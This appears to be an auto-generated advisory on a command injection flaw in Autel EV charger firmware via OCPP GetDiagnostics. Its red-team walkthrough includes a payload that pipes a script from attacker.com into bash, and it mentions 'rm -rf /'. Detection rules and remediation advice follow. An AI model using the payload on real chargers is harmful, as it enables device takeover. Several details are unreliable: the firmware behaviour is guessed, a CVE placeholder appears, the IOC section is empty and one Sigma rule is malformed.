CVE-2026-8986

Executive Summary

Severity: Informational (CVSS 0.0)

This report details CVE-2026-8986, an OS command injection vulnerability in Autel Maxi Charger Single firmware through V1.03.51. The vulnerability allows a malicious or compromised OCPP (Open Charge Point Protocol) server to execute arbitrary commands on the charging station by crafting a malicious GetDiagnostics request. The attack vector is network-based, requires no authentication, and can lead to full compromise of the charging station.

Business Impact: This vulnerability directly threatens Electric Vehicle (EV) charging infrastructure. A successful attack could allow an adversary to disrupt charging operations, manipulate billing data, pivot to internal networks, or use compromised chargers as a botnet for DDoS attacks. The likely attacker is a malicious OCPP server operator or an entity that has compromised the central OCPP server.

Urgency Assessment: Despite the CVSS score of 0.0 and EPSS probability of 0.0%, this vulnerability is technically severe. The low EPSS score likely reflects the niche nature of the affected hardware and the lack of public exploit code, not the technical difficulty of exploitation. The vulnerability is trivially exploitable by any OCPP server that the charger connects to.

Key Facts:

• Vendor: Autel
• Affected Software: Autel Maxi Charger Single firmware through V1.03.51
• Patch Status: None available as of 2026-07-22
• CISA KEV: Not listed.

CVSS Breakdown & Threat Level

Qualitative Severity Label: Informational

The CVSS score of 0.0 is inconsistent with the technical description of the vulnerability. The NVD description clearly states "arbitrary command execution" via a network-accessible interface with no authentication. A mathematically correct CVSS 3.1 vector for this vulnerability would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 - Critical)

The provided score of 0.0 is likely a placeholder or error in the NVD entry. For the purposes of this report, we analyze the vulnerability based on its technical characteristics.

Metric Decomposition (Corrected):

• AV:N (Network): The OCPP protocol operates over TCP/IP. The attacker does not require physical access.
• AC:L (Low): No special conditions are required. The attacker only needs to be a valid OCPP server or have compromised one.
• PR:N (None): The GetDiagnostics request is processed without authentication from the OCPP server.
• UI:N (None): No user interaction is required on the charging station.
• S:U (Unchanged): The compromise does not affect other components.
• C:H/I:H/A:H (High/High/High): Full confidentiality, integrity, and availability impact due to arbitrary command execution.

EPSS Interpretation: The 0.0% EPSS probability indicates that as of the report date, there is no observed exploitation in the wild. This is common for newly published CVEs affecting specialized industrial hardware.

Historical Comparison: This vulnerability is technically similar to CVE-2021-44228 (Log4Shell) in that it involves command injection via a protocol that trusts input from a remote server. However, the attack surface is much smaller, limited to Autel charging stations.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

1. OCPP Handshake: The Autel Maxi Charger connects to an OCPP server (Central System) using the OCPP-J (JSON over WebSocket) protocol.
2. GetDiagnostics Request: The OCPP server sends a GetDiagnostics request to the charger. This request includes a mandatory location parameter, which is a URL where the charger should upload diagnostic data.
3. Command Injection: The charger's firmware processes the location URL without proper sanitization. The firmware likely constructs a system command (e.g., curl, wget, or a custom upload script) using the URL as an argument. An attacker can inject shell metacharacters (e.g., ;, |, $(...), `...`) into the URL.
4. Arbitrary Execution: The injected command is executed with the privileges of the charging station's operating system, typically root.

Root Cause: The developer used string concatenation or interpolation to build a system command from user-supplied input (the location URL) instead of using a safe API that separates commands from arguments.

Attack Surface:

• Protocol: OCPP-J (JSON over WebSocket) on TCP port 8080 (default).
• Interface: The charger's network interface that connects to the OCPP server.

Pre-conditions:

• The charger must be connected to a malicious or compromised OCPP server.
• The attacker must be able to send OCPP messages to the charger.

Attack Variants:

• Reverse Shell: Inject a command to download and execute a reverse shell payload.
• Data Exfiltration: Use curl or wget to send sensitive data (billing info, network config) to an attacker-controlled server.
• Firmware Bricking: Execute rm -rf / or similar destructive commands.

Why Standard Defenses Fail:

• WAF/IDS: OCPP traffic is often encrypted (TLS) and uses JSON, making it difficult for network-based WAFs to inspect the payload without decryption.
• Input Validation: The vulnerability exists because input validation is missing. Standard allowlists for URLs are often bypassed by encoding or using alternative shell metacharacters.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

# Vulnerable Python-like pseudocode
def handle_get_diagnostics(request):
    location = request['location']
    # Vulnerable: string concatenation
    command = "upload_diag.sh " + location
    os.system(command)

Patched Code (Pseudocode):

# Patched Python-like pseudocode
import subprocess

def handle_get_diagnostics(request):
    location = request['location']
    # Safe: using subprocess with argument list
    subprocess.run(["upload_diag.sh", location], check=True)

Analysis: The fix involves using a function that accepts a list of arguments (subprocess.run with a list) instead of a single string that is interpreted by a shell (os.system). This prevents shell metacharacters from being interpreted as command separators.

Regression Considerations: The patch must ensure that the location URL is still correctly passed to the upload script. If the upload script itself has vulnerabilities, the fix may be incomplete.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-21T21:14:26.937Z
• Estimated Discovery: Unknown. The vulnerability was likely discovered through internal research or responsible disclosure.
• Disclosure Process: The CVE was published by the CNA (likely Autel or a third-party coordinator). No details on the disclosure timeline are available.
• Known Exploitation: No known active exploitation as of 2026-07-22.
• CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: The most likely threat actors are:

• Nation-State Actors: Targeting EV infrastructure for strategic disruption.
• Ransomware Groups: Encrypting charging stations for ransom.
• Script Kiddies: Using publicly available exploits (once released) for disruption.

Attack Campaign Context: This vulnerability is not currently associated with any known campaign.

Geographic Targeting: No specific geographic targeting is known. Any region with Autel Maxi Charger installations is at risk.

Industry Verticals at Risk:

• Electric Vehicle Charging: Directly affected.
• Energy & Utilities: Charging stations are part of the energy grid.
• Transportation: Fleet operators using Autel chargers.

Historical Connection: This is similar to other OCPP-related vulnerabilities (e.g., CVE-2023-xxxx) where command injection occurs due to unsanitized input from the central server.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Hardware: An Autel Maxi Charger Single with firmware V1.03.51 or earlier.
2. Network: A local network with the charger and an attacker machine.
3. OCPP Server: A custom OCPP server (e.g., using Python with websockets library) that can send malicious GetDiagnostics requests.

Prerequisites:

• Network connectivity between the attacker machine and the charger.
• The charger must be configured to connect to the attacker's OCPP server.

Exploitation Walkthrough:

1. Setup OCPP Server: Create a Python script that acts as an OCPP Central System.
2. Send Malicious Request: The server sends a GetDiagnostics request with a crafted location parameter.
3. Payload Example:

   {
     "location": "http://attacker.com/diag; curl http://attacker.com/shell.sh | bash"
   }
   

4. Expected Output: The charger executes the injected command, downloading and executing a reverse shell.

Post-Exploitation:

• Access to the charger's file system.
• Ability to modify firmware.
• Pivot to internal networks.
• Disrupt charging operations.

Blue Team Section

Detection:

• Log Entries: Look for unusual OCPP GetDiagnostics requests with suspicious location URLs containing shell metacharacters (;, |, $, `).
• Network Traffic: Monitor for outbound connections from the charger to unknown IP addresses on non-standard ports (e.g., 4444 for reverse shells).
• Endpoint Indicators: Unexpected processes spawned by the charging station's main application (e.g., bash, curl, wget).

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Detection Engineering

YARA Rule

rule CVE-2026-8986_OCPP_GetDiagnostics {
    meta:
        description = "Detects malicious OCPP GetDiagnostics requests targeting CVE-2026-8986"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-8986"
    strings:
        $ocpp_get_diag = "GetDiagnostics" ascii wide nocase
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "$(" ascii wide
    condition:
        $ocpp_get_diag and (any of ($shell_meta*))
}

Sigma Rule (SIEM)

title: CVE-2026-8986 Autel OCPP Command Injection
id: 500889eb-e622-4b82-9640-9efd79400e06
status: experimental
description: Detects OCPP GetDiagnostics requests with shell metacharacters
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-8986
logsource:
    category: webserver
    product: autel_charger
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/ocpp'
        cs-username: '*'
        cs-uri-query|contains: 'GetDiagnostics'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '$('
    condition: selection
falsepositives:
    - Legitimate diagnostic URLs containing semicolons in query strings (rare)
level: high

Suricata IDS Rule

alert tcp any any -> any 8080 (msg:"CVE-2026-8986 Autel OCPP Command Injection"; flow:to_server,established; content:"GetDiagnostics"; http_client_body; content:"location"; http_client_body; pcre:"/location[\s]*:[\s]*\"[^\"]*[;|\$]/Ri"; sid:1000001; rev:1;)

Elastic (EQL) Query

network where process.name == "charger_app" and network.protocol == "ocpp" and network.direction == "egress" and destination.port == 4444

Splunk SPL Query

index=autel_charger sourcetype=ocpp_logs
| search "GetDiagnostics" AND (location=*\;* OR location=*\|* OR location=*$(*)
| table _time, src_ip, location

Wazuh Rule

<rule id="100001" level="12">
  <if_sid>5715</if_sid>
  <field name="location" type="pcre2">[\;|\$\(]</field>
  <description>CVE-2026-8986: OCPP GetDiagnostics command injection attempt</description>
  <group>autel_charger,ocpp,exploit,</group>
</rule>

Remediation & Mitigation

Immediate Actions (0-24 hours):

• No patch available. Disconnect Autel Maxi Charger Single units from untrusted OCPP servers.
• Network Mitigation: Implement a firewall rule to allow outbound connections from the charger only to known, trusted OCPP server IP addresses.
• WAF Rule: Deploy a WAF in front of the charger (if possible) to inspect OCPP traffic and block requests containing shell metacharacters in the location field.

Short-term (1-7 days):

• Configuration Hardening: If possible, configure the charger to use a local, air-gapped OCPP server.
• Monitoring: Implement the detection rules provided in this report.
• Vulnerability Scanning: Use a custom script to send a benign GetDiagnostics request and check if the charger processes it without executing injected commands.

Long-term:

• Architecture Changes: Implement mutual TLS (mTLS) between the charger and OCPP server to prevent man-in-the-middle attacks.
• Security Controls: Require code review for all OCPP message handling.
• Developer Training: Train developers on secure coding practices, specifically avoiding shell command construction from user input.

Validation:

• Manual Check: Send a GetDiagnostics request with a benign location URL (e.g., http://example.com/diag). If the charger processes it normally, the vulnerability may be patched.
• Automated Check: Use a vulnerability scanner that supports OCPP protocol testing.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-8986
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-8986
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-8986 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/78.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-8986